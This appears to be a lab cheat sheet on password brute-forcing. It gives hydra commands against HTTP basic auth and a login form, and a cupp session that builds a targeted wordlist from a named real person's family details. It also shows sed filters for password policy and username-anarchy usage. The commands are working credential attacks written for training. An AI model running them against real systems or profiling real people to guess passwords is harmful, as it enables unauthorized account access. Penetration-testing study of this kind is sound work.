Basic HTTP Auth Brute Forcing

Check for Default Credentials

neutron@kali[/kali]$ hydra -C /opt/useful/SecLists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt -s 31099 http-get /

Username Brute Force

neutron@kali[/kali]$ hydra -L /opt/useful/SecLists/Usernames/Names/usernames.txt -p amormio -u -f -s 32901 http-get /

Login Form Attacks

neutron@kali[/kali]$ hydra -l admin -P /opt/useful/SecLists/Passwords/Leaked-Databases/rockyou.txt -f -s 32901 http-post-form "/login.php:username=^USER^&password=^PASS^:F=<form name='login'"

Personalized Wordlists


neutron@kali[/kali]$ cupp -i

___________!                 # Common
      \                     # User
       \   ,__,             # Passwords
        \  (oo)____         # Profiler
           (__)    )\
              ||--|| *      [ Muris Kurgas | [email protected] ]
                            [ Mebus |]

[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)

> First Name: William
> Surname: Gates
> Nickname: Bill
> Birthdate (DDMMYYYY): 28101955

> Partners) name: Melinda
> Partners) nickname: Ann
> Partners) birthdate (DDMMYYYY): 15081964

> Child's name: Jennifer
> Child's nickname: Jenn
> Child's birthdate (DDMMYYYY): 26041996

> Pet's name: Nila
> Company name: Microsoft

> Do you want to add some key words about the victim? Y/[N]: Phoebe,Rory
> Do you want to add special chars at the end of words? Y/[N]: y
> Do you want to add some random numbers at the end of words? Y/[N]:y
> Leet mode? (i.e. leet = 1337) Y/[N]: y

[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to william.txt, counting 43368 words.
[+] Now load your pistolero with william.txt and shoot! Good luck!

Personalized password wordlist saved as william.txt.

Password Policy

This wordlist is very long. If we know the password policy we can remove any passwords that do not meet the password policy.

sed -ri '/^.{,7}$/d' william.txt            # remove shorter than 8
sed -ri '/[!-/:-@\[-`\{-~]+/!d' william.txt # remove no special chars
sed -ri '/[0-9]+/!d' william.txt            # remove no numbers

These commands shortened the wordlist from 43k passwords to around 13k passwords, around 70% shorter.

Custom Username Wordlist

We should also consider creating a personalized username wordlist based on the person's available details.

neutron@kali[/kali]$ git clone

Cloning into 'username-anarchy'...
remote: Enumerating objects: 386, done.
remote: Total 386 (delta 0), reused 0 (delta 0), pack-reused 386
Receiving objects: 100% (386/386), 16.76 MiB | 5.38 MiB/s, done.
Resolving deltas: 100% (127/127), done.
./username-anarchy Bill Gates > bill.txt